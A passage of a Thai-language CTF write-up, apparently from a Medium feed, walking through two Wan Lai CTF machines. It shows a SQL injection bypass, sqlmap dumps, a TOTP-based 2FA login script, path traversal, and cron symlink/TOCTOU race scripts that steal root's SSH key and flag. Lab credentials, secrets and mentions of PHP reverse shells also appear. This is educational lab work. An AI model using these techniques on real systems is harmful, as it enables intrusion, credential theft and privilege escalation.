ก่อนที่ไฟล์งั้นจะถูกใช้งาน</p><p>จะแบ่งเป็น 2 shell โดย shell ที่ 2 สร้าง reverse shell เช่นเดิมแต่เปลี่ยน port แล้วใช้ netcat รับการเชื่อมต่อที่ port ใหม่</p><p>ใน shell แรกให้ทำการรัน</p><pre>cd /var/www/html/uploads</pre><pre>while true; do<br>  for i in $(seq 301 330); do<br>    rm -f srace${i}.txt<br>    ln -s /home/courier/delivery-sync.sh srace${i}.txt<br>    rm -f srace${i}.txt<br>    echo x &gt; srace${i}.txt<br>  done<br>done</pre><p>ใน shell ที่ 2 รัน</p><pre>while true; do<br>  ls -l /var/backups/products/srace*.txt 2&gt;/dev/null<br>  sleep 1<br>done</pre><p>ในนั้นจะมีบางไฟล์ที่หลุด source code ของ delivery-sync.sh ออกมา แล้วมาทำการเปิดดู</p><pre>#!/bin/bash<br>SRC=&quot;/var/www/html/uploads&quot;<br>DST=&quot;/var/backups/products&quot;<br><br>mkdir -p &quot;$DST&quot;<br><br>for f in &quot;$SRC&quot;/*; do<br>    [ &quot;$f&quot; = &quot;$SRC/*&quot; ] &amp;&amp; break<br>    [ &quot;$(basename &quot;$f&quot;)&quot; = &quot;index.html&quot; ] &amp;&amp; continue<br><br>    fname=&quot;$(basename &quot;$f&quot;)&quot;<br>    dst_path=&quot;$DST/$fname&quot;<br><br>    if [ -L &quot;$f&quot; ]; then<br>        cp -P &quot;$f&quot; &quot;$DST/&quot; 2&gt;/dev/null || true<br>  <br>    //VULNERABLE<br>    elif [ -L &quot;$dst_path&quot; ]; then<br>        cp &quot;$f&quot; &quot;$dst_path&quot; 2&gt;/dev/null || true<br><br>    elif [ -f &quot;$f&quot; ]; then<br>        cp -p &quot;$f&quot; &quot;$DST/&quot; 2&gt;/dev/null || true<br>    fi<br>done</pre><p>จะพบว่า มีช่องโหว่ที่ไปเขียนทับ target ของ symlink โดยตรงจาก root ทำให้ไฟล์ symlink ของเราเปลี่ยนไปด้วย</p><pre>cd /var/www/html/uploads<br>ln -s /home/courier/delivery-sync.sh hooksync.sh</pre><p>จากนั้นจะสร้าง symlink ไปยังไฟล์ delivery-sync.sh</p><pre>ls -l /var/backups/products/hooksync.sh</pre><pre>lrwxrwxrwx 1 root root 30 Apr 20 13:34 /var/backups/products/hooksync.sh -&gt; /home/courier/delivery-sync.sh</pre><p>ในฝั่งของ backup เมื่อเวลา cron job เดินมาถึงจะพบกับไฟล์นี้ link ไปยัง delivery-sync.sh</p><pre>rm -f /var/www/html/uploads/hooksync.sh</pre><p>หลังจากนั้นใน /uploads ลบไฟล์ hooksync.sh ทิ้ง เพื่อสร้างไฟล์ใหม่ให้ไปเขียนทับ symlink หรือไฟล์ delivery-sync.sh</p><pre>cat &gt; /var/www/html/uploads/hooksync.sh &lt;&lt;&#39;EOF&#39;<br>#!/bin/bash<br>cp /root/root.txt /var/www/html/uploads/flag_root.txt<br>chmod 644 /var/www/html/uploads/flag_root.txt<br>EOF<br><br>chmod 755 /var/www/html/uploads/hooksync.sh</pre><p>ทำการสร้างไฟล์ hooksync.sh ใหม่ให้ไป copy flag จาก root<br>เมื่อเวลามาถึง cron job แรกจะไปเขียนทับไฟล์ delivery-sync.sh โดยตรงทำ soure code เปลี่ยนไป cron job รอบต่อไปจะ copy ไฟล์ flag มาให้เรา</p><pre>ls -la /var/www/html/uploads</pre><pre>total 60<br>drwxrwxrwx 1 www-data www-data 4096 Apr 20 13:36 .<br>drwxr-xr-x 1 root     root     4096 Apr 17 01:01 ..<br>-rw-r--r-- 1 www-data www-data    7 Apr 13 11:00 bucket-brass-large.jpg<br>-rw-r--r-- 1 root     root       41 Apr 20 13:48 flag_root.txt<br>-rwxr-xr-x 1 www-data www-data  112 Apr 20 13:34 hooksync.sh<br>-rw-r--r-- 1 www-data www-data   70 Apr 16 05:08 index.html<br>-rw-r--r-- 1 www-data www-data    7 Apr 15 10:10 neon-gun-led.jpg<br>-rw-r--r-- 1 www-data www-data 5491 Apr 20 13:21 php-reverse-shell.php<br>-rw-r--r-- 1 www-data www-data 5491 Apr 20 13:21 php-reverse-shell_2.php<br>-rw-r--r-- 1 www-data www-data    7 Apr 12 16:20 powder-rainbow-500g.jpg<br>-rw-r--r-- 1 www-data www-data    7 Apr 15 17:45 shirt-songkran-2569.jpg<br>-rw-r--r-- 1 www-data www-data    7 Apr 14 13:30 splash-pro-set.jpg</pre><p>เมื่อเวลาเดินมาถึง จะพบกลับ flag_root.txt</p><pre>WANLAI{df66ada884c87571b8bcda852578ad40}</pre><p>สรุป พบว่ามีช่องโหว่ Business Logic Flaw ในระบบสล็อตที่ให้ผู้ใช้สามารถแก้ค่าตัวเลขผลลัพธ์ใน request เป็น 777 นำไปสู่ Sensitive Information Disclosure เพราะระบบแสดง username และ password ของ admin เมื่อได้ JACKPOT นอกจากนี้ยังมี Hidden Functionality มี source code ที่อนุญาตให้เพิ่มเครดิตผ่าน POST request เมื่อเข้าสู่หน้า admin แล้วพบ Unrestricted File Upload ที่อนุญาตให้อัปโหลดไฟล์ phpได้โดยไม่มีการตรวจสอบ ส่งผลให้เกิด RCE ผ่าน reverse shell หลังจากนั้นในเครื่องเซิร์ฟเวอร์มี TOCTOU Race Condition ใน cron job ซึ่งสามารถดึง source code ของ script ที่ปกติอ่านไม่ได้ออกมาได้ และเมื่อวิเคราะห์ script จะพบ Arbitrary File Write จากการที่ cron job ซึ่งรันด้วยสิทธิ์ root ใช้คำสั่ง cp เขียนตาม symlink ของปลายทาง ทำให้ผู้โจมตีสามารถเขียนทับไฟล์สำคัญ</p><h3>DDJ MOODENG</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6lupNCIa5LoK1Mm-D6IfAw.png" /></figure><p>ข้อ DDJ moodeng เป็นโจทย์ machine ในระดับ hard ในขั้นตอนแรกเราทำการหาข้อมูลของเครื่องเป้าหมายก่อน โดยการดูว่ามี Service ไหนที่ถูกเปิดอยู่บ้าง โดยใช้ Nmap</p><pre>sudo nmap -sC -sV --min-rate 10000 10.88.128.29</pre><p>โดย option ต่างๆของ nmap ที่ใช้ อย่างแรกคือ sudo เพื่อ TCP SYN scan ไม่ต้องรอให้ครบทั้ง handshake, -sC ใช้ default script เพื่อดู service banner, -sV เพื่อดูเวอร์ชันของ service, และเร่งความเร็วการแสกนโดยปรับ min rate ให้ขั้นต่ำสั่ง 10000 packet ต่อวินาที</p><pre>Nmap scan report for 10.88.128.65<br>Host is up (0.087s latency).<br>Not shown: 998 closed tcp ports (reset)<br>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.14 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey:<br>|   256 1b:8e:66:af:31:4f:9e:5d:af:81:61:38:df:c7:27:65 (ECDSA)<br>|_  256 a9:3a:64:26:d6:6b:1e:7f:78:37:2d:af:f0:c7:a2:60 (ED25519)<br>80/tcp open  http    nginx 1.18.0 (Ubuntu)<br>|_http-title: DJ Moo Deng World Tour 2026<br>|_http-server-header: nginx/1.18.0 (Ubuntu)<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br># Nmap done at Sat Apr 18 07:26:26 2026 -- 1 IP address (1 host up) scanned in 9.48 seconds</pre><p>เราจะพบกับ ssh และ http จากนั้นเข้าไปที่หน้าเว็บ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lvHST0_qTtmKSXc8PH_keg.png" /></figure><p>ที่เราสามารถสมัคร และล็อคอินเพื่อเข้าไปซื้อ ticket แล้วรอให้ admin มัน approve ticket ที่เราได้ซื้อไป แต่เราจะเห็นว่าที่ footer มี domain djmoodeng.ctf อยู่ สามารถเดาได้ว่าอาจมี Virtual host อื่นๆอีก โดยขั้นแรกจะเพิ่ม resolve domain ในไฟล์ /etc/hosts</p><pre>&lt;IP&gt; djmoodeng.ctf</pre><p>หลังจากนั้นใช้ gobuster ในการแสกนหา virtual host ในที่นี้จะ wordlist จากของ SecLists <a href="https://github.com/danielmiessler/SecLists">https://github.com/danielmiessler/SecLists</a></p><pre>gobuster vhost -u http://djmoodeng.ctf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -t 150 --append-domain</pre><p>เราพบ 2 vhost ได้แก่ radio.djmoodeng.ctf และ admin.djmoodeng.ctf (นำไปเพิ่มที่ /etc/hosts ด้วย)จากนั้นทำการแสกน path ต่างๆเพื่อหาข้อมูลเพิ่มเติม โดยใช้ gobuster เช่นเดิม</p><pre>gobuster dir -u http://&lt;host&gt; -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -t 150</pre><pre>http://djmoodeng.ctf<br>/register             (Status: 200) [Size: 1088]<br>/login                (Status: 200) [Size: 1131]<br>/buy                  (Status: 302) [Size: 28] [--&gt; /login]<br>/Login                (Status: 200) [Size: 1131]<br>/logout               (Status: 302) [Size: 23] [--&gt; /]<br>/listen               (Status: 401) [Size: 14]<br>/Register             (Status: 200) [Size: 1088]<br>/Buy                  (Status: 302) [Size: 28] [--&gt; /login]<br>/Logout               (Status: 302) [Size: 23] [--&gt; /]<br>/LogIn                (Status: 200) [Size: 1131]<br>/LOGIN                (Status: 200) [Size: 1131]</pre><pre>http://admin.djmoodeng.ctf<br>/login                (Status: 200) [Size: 533]<br>/files                (Status: 302) [Size: 28] [--&gt; /login]<br>/Login                (Status: 200) [Size: 533]<br>/logout               (Status: 302) [Size: 28] [--&gt; /login]<br>/Files                (Status: 302) [Size: 28] [--&gt; /login]<br>/dashboard            (Status: 302) [Size: 28] [--&gt; /login]<br>/Logout               (Status: 302) [Size: 28] [--&gt; /login]<br>/Dashboard            (Status: 302) [Size: 28] [--&gt; /login]<br>/FILES                (Status: 302) [Size: 28] [--&gt; /login]<br>/LogIn                (Status: 200) [Size: 533]<br>/LOGIN                (Status: 200) [Size: 533]</pre><pre>radio.djmoodeng.ctf<br>/login                (Status: 200) [Size: 704]<br>/Login                (Status: 200) [Size: 704]<br>/logout               (Status: 302) [Size: 28] [--&gt; /login]<br>/dashboard            (Status: 302) [Size: 28] [--&gt; /login]<br>/stations             (Status: 302) [Size: 28] [--&gt; /login]<br>/Logout               (Status: 302) [Size: 28] [--&gt; /login]<br>/Dashboard            (Status: 302) [Size: 28] [--&gt; /login]<br>/Stations             (Status: 302) [Size: 28] [--&gt; /login]<br>/LogIn                (Status: 200) [Size: 704]<br>/LOGIN                (Status: 200) [Size: 704]</pre><p>Path ที่เจอตอนนี้ยังช่วยไรไม่ได้ ตอนทำติดตรงนี้นานมาก ได้ลองสมัคร account จะพบว่ามี user ที่ถูก register อยู่แล้วในระบบคือ admin หลังจากนั้นก็มี hint มา</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qVzPdySt2xl-HIHSL4w8Fw.png" /></figure><p>ซึ่งพูดถึงหน้า test ของเว็บนี้ แต่ว่า ใน wordlist ที่ใช้ไม่ว่าจะเป็นตอนที่หา vhost, dir ได้ครอบคลุม test, dev, staging, old แล้วเรียบร้อยทำให้ต้องเดาอาจเป็น test-radio, test_radio, test-admin,… <br>จนไปเจอว่าเป็น staging-admin.djmoodeng.ctf ซึ่งเป็นที่ที่มีช่องโหว่</p><p>ไฟล์ /etc/hosts สุดท้ายจะมีหน้าตาแบบนี้</p><pre>10.88.128.29 djmoodeng.ctf admin.djmoodeng.ctf radio.djmoodeng.ctf staging-admin.djmoodeng.ctf</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TF2rt8PD2Q3-F-Vw5uLu8g.png" /></figure><p>เมื่อเข้าสู่ <a href="http://staging-admin.djmoodeng.ctf/">http://staging-admin.djmoodeng.ctf</a> จะพบกับหน้า login ในหน้านี้สามารถใช้ช่องโหว่ SQL Injection ได้ โดยมี payload ดังนี้</p><pre>admin&#39; OR &#39;1&#39;=&#39;1</pre><p>โดยช่องโหว่ SQL Injection เกิดจากระบบรับข้อมูลจากผู้ใช้งานไปตรงๆ โดยที่ไม่มีการตรวจสอบ แล้วนำไปรวมกับคำสั่ง Query ข้อมูลทำให้สิ่งที่ผู้ใช้ป้อนไปถูกประมวลผลรวมไปด้วย ตัวอย่างโค้ดที่อาจเกิดขึ้นได้ในกรณี login</p><pre>app.post(&quot;/login&quot;, async (req, res) =&gt; {<br>  const { username, password } = req.body;<br><br>  //VULNERABLE<br>  const sql = `SELECT * FROM users WHERE username = &#39;${username}&#39; AND password = &#39;${password}&#39;`;<br><br>  db.query(sql, (err, results) =&gt; {<br>    if (err) {<br>      return res.status(500).send(&quot;Database error&quot;);<br>    }<br><br>    if (results.length &gt; 0) {<br>      return res.send(&quot;Login success&quot;);<br>    }<br><br>    return res.status(401).send(&quot;Invalid credentials&quot;);<br>  });<br>});</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7mfsenED9LfLlCtKpyucVw.png" /></figure><p>เมื่อเข้าสู่ระบบแล้วจะพบกับหน้า dashboard แต่ในนี้เรายังทำไรไม่ได้ ผมได้กลับมาดูที่หน้า login อีกครั้ง เมื่อลองเปลี่ยน payload ในเกิด error ในหน้า login จะบอก error ออกมาตรงๆ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8Niqjl-6voGhsfWz6whZHg.png" /></figure><p>แสดงเราสามารถทำ Error-based SQL injection ได้ ซึ่งเป็นอีกเทคนิคหนึ่งของการทำ SQL injection โดยการดึงข้อมูลผ่านข้อความแสดง error โดยจะตั้งใจทำให้สิ่งที่เราใส่เข้าไปเกิด error ขึ้น แต่ว่าขอใช้ SQLMap</p><pre>sqlmap -X POST -u http://staging-admin.djmoodeng.ctf/login --data &#39;username=admin&amp;password=1234&#39; --batch --dump</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QHMHZuDjAP40fccZsBL7Dg.png" /></figure><p>เราจะพบกับ djmoodeng_staging database ในตารางของ users พบกับ username และรหัสผ่านในทีนี้ที่เราอาจได้ใช้คือ admin:M00deng_2026! และ support:support2026 จะลองนำไป loginในส่วนของ Production ดู</p><p>ในส่วนของ user support สามารถ login เข้าไปได้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bi7QsZGnAwvYV8XrqOoiOQ.png" /></figure><p>แต่ส่วนของ admin ที่จะ login ใน admin.djmoodeng.ctf จะติด 2 Factor Authentication อยู่</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ytNH8B3yQSdDNyDSbrMTTQ.png" /></figure><p>แต่ว่าเรามี totp_secret อยู่ JBSWY3DPEHPK3PXP ทำให้เราสามารถสร้าง OTP ขึ้นเองได้ โดยจะสร้าง Script python ขึ้นมาเพื่อสร้าง session cookie</p><pre>#!/usr/bin/env python3<br>import requests<br>import pyotp<br>from urllib.parse import unquote<br><br>BASE = &quot;http://admin.djmoodeng.ctf&quot;<br>USERNAME = &quot;admin&quot;<br>PASSWORD = &quot;M00deng_2026!&quot;<br>TOTP_SECRET = &quot;JBSWY3DPEHPK3PXP&quot;<br><br>LOGIN_URL = f&quot;{BASE}/login&quot;<br>TFA_URL = f&quot;{BASE}/2fa&quot;<br>DASHBOARD_URL = f&quot;{BASE}/dashboard&quot;<br><br>session = requests.Session()<br><br>def main():<br>    otp = pyotp.TOTP(TOTP_SECRET).now()<br>    print(f&quot;[+] Current OTP: {otp}&quot;)<br><br>    r1 = session.post(<br>        LOGIN_URL,<br><br>    if r1.status_code not in (302, 303) or r1.headers.get(&quot;Location&quot;) != &quot;/2fa&quot;:<br>        print(&quot;[-] Login step failed&quot;)<br>        print(r1.text[:500])<br>        return<br><br>    r2 = session.post(<br>        TFA_URL,<br>        data={&quot;code&quot;: otp},<br>        allow_redirects=False<br>    )<br>    print(f&quot;[+] /2fa -&gt; {r2.status_code} Location={r2.headers.get(&#39;Location&#39;)}&quot;)<br><br>    if r2.status_code not in (302, 303) or r2.headers.get(&quot;Location&quot;) != &quot;/dashboard&quot;:<br>        print(&quot;[-] 2FA step failed&quot;)<br>        print(r2.text[:500])<br>        return<br><br>    r3 = session.get(DASHBOARD_URL, allow_redirects=False)<br>    print(f&quot;[+] /dashboard -&gt; {r3.status_code}&quot;)<br><br>    if r3.status_code == 200:<br>        print(&quot;[+] Logged in successfully&quot;)<br><br>        with open(&quot;cookies.txt&quot;, &quot;w&quot;) as f:<br>            for c in session.cookies:<br>                f.write(f&quot;{c.name}={c.value}\n&quot;)<br><br>        sid = session.cookies.get(&quot;connect.sid&quot;)<br>        if sid:<br>            print(f&quot;[+] connect.sid = {sid}&quot;)<br>            print(f&quot;[+] URL-decoded  = {unquote(sid)}&quot;)<br>        else:<br>            print(&quot;[-] connect.sid not found&quot;)<br><br>        print(&quot;[+] Cookies saved to cookies.txt&quot;)<br>    else:<br>        print(&quot;[-] Dashboard check failed&quot;)<br>        print(r3.text[:500])<br><br>if __name__ == &quot;__main__&quot;:<br>    main()</pre><p>เมื่อทำการรันจะได้ session id ออกมา</p><pre>python3 login.py<br>[+] Current OTP: 763330<br>[+] /login -&gt; 302 Location=/2fa<br>[+] /2fa -&gt; 302 Location=/dashboard<br>[+] /dashboard -&gt; 200<br>[+] Logged in successfully<br>[+] connect.sid = s%3AZpkzrwUqhxBPqzYl_15YmhQYfBqakO5s.yCeWK6Xdb%2FgYS2pdbbsuU1Clp%2BJy00DRm2ueoaSAq84<br>[+] URL-decoded  = s:ZpkzrwUqhxBPqzYl_15YmhQYfBqakO5s.yCeWK6Xdb/gYS2pdbbsuU1Clp+Jy00DRm2ueoaSAq84<br>[+] Cookies saved to cookies.txt</pre><p>แล้วนำไปใส่ cookie ใน field ของ connect.sid แล้วเข้าไปยังหน้า dashboard</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NUKFEY5gDAJOBBkLoGa2AQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4Hvn8RNVxP_hwSfFoFIhrg.png" /></figure><p>ในหน้าของ <a href="http://admin.djmoodeng.ctf/files">http://admin.djmoodeng.ctf/files</a> เมื่อเราไปดู Request ใน Burp Suite จะไปเรียก /api/files</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LC0_GOZIxxHTbXN14tbaXA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pn9XCuR6IyJeoFW8RqE9dA.png" /></figure><p>ซึ่งใน api นี้ได้ไปเรียกดู path ต่างๆในเครื่อง เปรียบเสมือนเราใช้ ls ไปดูในเครื่องเซิร์ฟเวอร์ แสดงว่าต้องมีสักที่ที่เราสามารถเปิดไฟล์ได้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e0KHVbUF0cWlDhFSl-Xonw.png" /></figure><p>ในหน้าของ user ทั่วไปที่เราได้ login จะพบกับหน้า listen จะเปิดได้ก็ต่อเมื่อ ticket admin ได้ทำการ approve สามารถสมัครบัญชีแล้วไปกดซื้อแล้วใช้ admin กด approve ได้ แต่ในที่นี้จะใช้ support:support2026</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mzJuux5KMmX2ySlDef1RyA.png" /></figure><p>เมื่อเรากดฟังเพลงจะพบ request /listen?track=… ตรงนี้เราสามารถทำ Path Traversal ได้<br>Path Traversal คือช่องโหว่ที่เกิดเมื่อแอปพลิเคชันนำค่าที่ผู้ใช้ส่งมาไปใช้ระบุ path โดยไม่มีการตรวจสอบหรือจำกัด ทำให้ผู้โจมตีสามารถไต่ย้อนโฟลเดอร์อ่านไฟล์อื่นได้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KnxHPbtMSLJ-XxPaQQS0xg.png" /></figure><p>ในที่นี้สามารถใช้ /api/files เพื่อดู directory ในส่วนของ admin และใช้ /listen?track=../../../ ในการแสดงไฟล์ออกควบคู่กันไปได้ <br>จะพบไฟล์ flag อยู่ที่ /home/moodeng/user.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iBmKSL0s1tdgPt6fif_Pyg.png" /></figure><pre>WANLAI{1d12ee07fbcdb46a3c9359d8e08e4198}</pre><p>แต่จริงๆแล้วข้อนี้ยังไม่เสร็จ เพราะว่ามี 2 flag อีก flag นึงสามารถได้จากการทำ privilege escalation ในเครื่องเป้าหมาย</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*frc-sgFYE_09oZcJ7MMS-w.png" /></figure><p>เมื่อเราได้หาข้อมูลในเครื่องไปมา เราจะพบกลับไฟล์ entrypoint.sh ซึ่งมี credential moodeng:Sn3ak!ng_H1pp0_2026<br>และ azuracast:Az5r4_R@d10_2026 แต่ว่าเราได้เข้าเว็บได้เรียบร้อยแล้ว ซึ่งนำไปใช้ในการ remote ของเครื่องเซิร์ฟเวอร์ เป้าหมายผ่าน ssh นอกจากนี้มีการใบ้ด้วยว่าทำ TOCTOU privsec</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VOjmMIud32qrhvrVw7skDA.png" /></figure><p>และบอกถึงสิทธิ์ของ azuracast และ cronjob</p><pre>ssh azuracast@djmoodeng.ctf</pre><p>หลังจากนั้นทำการ remote เข้าไปในเครื่องเป้าหมาย แล้วทำการดูว่ามี cronjob อะไรอยู่บ้าง (แต่ว่าจริงๆก็มีบอกอยู่ใน entrypoint.sh)</p><pre>ls -la /etc/cron.d</pre><pre>drwxr-xr-x 1 root root 4096 Apr 17 23:02 .<br>drwxr-xr-x 1 root root 4096 Apr 20 07:01 ..<br>-rw-r--r-- 1 root root  102 Mar 23  2022 .placeholder<br>-rw-r--r-- 1 root root  113 Apr 14 13:34 azuracast-process<br>-rw-r--r-- 1 root root  201 Jan  8  2022 e2scrub_all</pre><p>จะพบกับ azuracast-process จากนั้นทำการดูว่าเรียกใช้ไฟล์อะไร</p><pre>cat /etc/cron.d/azuracast-process</pre><pre># AzuraCast upload processor cron job<br># Runs every minute as root<br>* * * * * root /opt/scripts/process-uploads.sh</pre><p>จะเห็นว่าไปเรียกไฟล์ /opt/scripts/process-uploads.sh</p><pre>#!/bin/bash<br># AzuraCast upload processor — runs as root every minute via cron<br># Validates uploaded files and copies them to processed dir for the radio engine.<br>#<br># � TOCTOU vulnerability: file is checked (not-symlink + owner=azuracast),<br># then sleep 0.3s for &quot;audio integrity scan&quot; placeholder, then cp.<br># An attacker (azuracast user) can win the race by swapping the file<br># between the security check and the copy operation.<br><br>UPLOAD_DIR=&quot;/var/azuracast/uploads&quot;<br>PROCESSED_DIR=&quot;/var/azuracast/processed&quot;<br>LOG=&quot;/var/log/azuracast/process.log&quot;<br><br>mkdir -p &quot;$PROCESSED_DIR&quot;<br><br>for f in &quot;$UPLOAD_DIR&quot;/*.mp3; do<br>    [ -e &quot;$f&quot; ] || continue<br>    name=$(basename &quot;$f&quot;)<br><br>    # ── Security checks ─────────────────────────────────────────<br>    # Reject symlinks (intended to prevent file-swap)<br>    if [ -L &quot;$f&quot; ]; then<br>        echo &quot;[$(date &#39;+%F %T&#39;)] SKIP $name (symlink)&quot; &gt;&gt; &quot;$LOG&quot;<br>        continue<br>    fi<br>    # Verify ownership — only azuracast uploads allowed<br>    if [ &quot;$(stat -c %U &quot;$f&quot; 2&gt;/dev/null)&quot; != &quot;azuracast&quot; ]; then<br>        echo &quot;[$(date &#39;+%F %T&#39;)] SKIP $name (wrong owner)&quot; &gt;&gt; &quot;$LOG&quot;<br>        continue<br>    fi<br><br>    # ── &quot;Audio integrity scan&quot; delay (TOCTOU window) ────────────<br>    sleep 0.3<br><br>    # ── File operation (race lands here) ────────────────────────<br>    dest=&quot;$PROCESSED_DIR/$name&quot;<br>    cp &quot;$f&quot; &quot;$dest&quot; 2&gt;&gt;&quot;$LOG&quot;<br>    chmod 644 &quot;$dest&quot; 2&gt;&gt;&quot;$LOG&quot;<br>    chown root:root &quot;$dest&quot; 2&gt;&gt;&quot;$LOG&quot;<br>    echo &quot;[$(date &#39;+%F %T&#39;)] PROCESSED $name&quot; &gt;&gt; &quot;$LOG&quot;<br>done</pre><p>เป็น script ที่ทำให้เกิด TOCTOU PrivEsc จะเกิดในช่วงของ sleep 0.3 ทำให้ระหว่างผู้โจมตีสามารถทำ symlink อ่านไฟล์สำคัญได้ ในที่นี้คือ private key ssh ของ root อยู่ที่ /root/.ssh/id_rsaในการโจมตีนี้เราจะใช้ 2 หน้าต่างที่ ssh เข้าไปในหน้าแรกจะใช้ script ดังนี้</p><pre>cat &gt; /tmp/race_rootkey.sh &lt;&lt;&#39;EOF&#39;<br>#!/bin/bash<br>UPLOAD_DIR=&quot;/var/azuracast/uploads&quot;<br>FILE=&quot;$UPLOAD_DIR/pwn.mp3&quot;<br><br>cd &quot;$UPLOAD_DIR&quot; || exit 1<br>rm -f &quot;$FILE&quot;<br><br>while true; do<br>  rm -f &quot;$FILE&quot;<br>  echo ok &gt; &quot;$FILE&quot;<br>  sleep 0.20<br>  rm -f &quot;$FILE&quot;<br>  ln -s /root/.ssh/id_rsa &quot;$FILE&quot;<br>  sleep 0.40<br>done<br>EOF<br><br>chmod +x /tmp/race_rootkey.sh</pre><pre>/tmp/race_rootkey.sh</pre><p>ในอีกหน้านึง จะปล่อย cron รัน 2 3 รอบก่อน</p><pre>watch -n 1 &#39;date; ls -lh /var/azuracast/processed; for f in /var/azuracast/processed/*.mp3; do echo &quot;==== $f ====&quot;; head -2 &quot;$f&quot; 2&gt;/dev/null; tail -2 &quot;$f&quot; 2&gt;/dev/null; done&#39;</pre><p>เมื่อเวลาผ่านไปสักพักในจอที่ 2 เราเจอกับ ssh private key</p><pre>-----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn 9UeD8VDokfPXt5S7AAAADnJvb3RAZGptb29kZW5nAQIDBA== -----END OPENSSH PRIVATE KEY-----</pre><p>นำไปใส่ในไฟล์ที่ชื่อ /tmp/id_root_rsa เพื่อใช้เป็น private key</p><pre>chmod 600 /tmp/id_root_rsa</pre><pre>ssh-keygen -l -f /tmp/root_id_rsa</pre><p>หลังจากนั้นปรับสิทธิ์การเข้าถึง private key เป็น -rw — — — — เนื่องเป็นข้อบังคับของ ssh แล้วใช้ ssh-keygen ในทดลอง parse file เพื่อตรวจสอบว่า key ถูกต้องหรือไม่</p><pre>ssh -i /tmp/root_id_rsa root@127.0.0.1</pre><p>แล้วเราจะได้ shell ในสิทธิ์ root ทันที จากนั้นเอา flag ที่ /root/root.txt</p><pre>WANLAI{f127968cbedf06ddd0438a0c8a313320}</pre><p>สรุป ช่องโหว่ที่พบอย่างแรกเลยคือการตั้งค่า vhost ที่หลวม มีการซ่อน vhost แต่ไม่ได้มีการป้องกัน brute force, ต่อมาคือช่องโหว่ Error-based SQL Injection เกิดจากการแสดงข้อความ error ทำให้ผู้โจมตีสามารถดึงข้อมูลจากในฐานข้อมูลได้, การ Bypass 2FA via Leaked TOTP Secret ทำให้ผู้โจมตีสามารถสร้าง OTP ขึ้นมาได้เอง แล้วเข้าสู่ระบบ, Path Traversal ไม่ได้มีการกรอก input อย่างผู้ใช้ ทำให้ผู้โจมตีย้อนกลับ path แล้วเข้าถึงไฟล์ได้ นอกจากนี้ยังใช้ร่วมกับการ List directory จาก /api/files ทำให้ผู้โจมตีหาไฟล์ได้สะดวก, Hardcoded Credentials ทำผู้โจมตี credentials ในการ remote เข้าเครื่องได้สำเร็จ, และสุดท้าย TOCTOU Race Conditionในสคริปต์ Cronjobโดยอาศัยจังหวะสลับไฟล์ให้เป็น Symlink เพื่อดึงเอา SSH Private Key ของ Root ออกมา และยึดเครื่องเป้าหมายได้อย่างสมบูรณ์</p><p>ในข้อที่ทำ Privilege Escalation รู้สึกว่าสำหรับผมยากไปนิดนึง อาจเพราะไม่ถนัดการทำ Race Condition และพึ่งรู้จัก TOCTOU ทำให้ค่อนข้างลำบาก แต่ในส่วนของ web ทั้งในโจทย์ web และ machine ทำมาได้ดีและสนุก ที่ทำมาตลอดส่วนใหญ่จะหนักตรงที่หาไม่เจอ อย่างหน้า staging-admin ถ้าไม่ได้ hint ไม่รู้จะทำได้ไหม</p><p>หากใน write up มีข้อมูลผิดพลาดประการใดขออภัยด้วยครับ สามารถแนะนำได้ครับ และขอขอบคุณทาง DropCTF ที่จัดงาน Wan Lai CTF ที่ให้พวกเราเล่น</p><p>#DropCTF #WanLaiCTF #web #machine</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=52eb8c02ffcd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Skill Assessment — Web Attacks]]></title>
            <link>https://medium.com/@pglingfr/skill-assessment-web-attacks-a12501ff83ab?source=rss-e1ae5fe713c5------2</link>
            <guid isPermaLink="false">https://medium.com/p/a12501ff83ab</guid>
            <dc:creator><![CDATA[Phufar Glingfroy]]></dc:creator>
            <pubDate>Sat, 28 Feb 2026 15:15:25 GMT</pubDate>
            <atom:updated>2026-02-28T15:15:25.176Z</atom:updated>
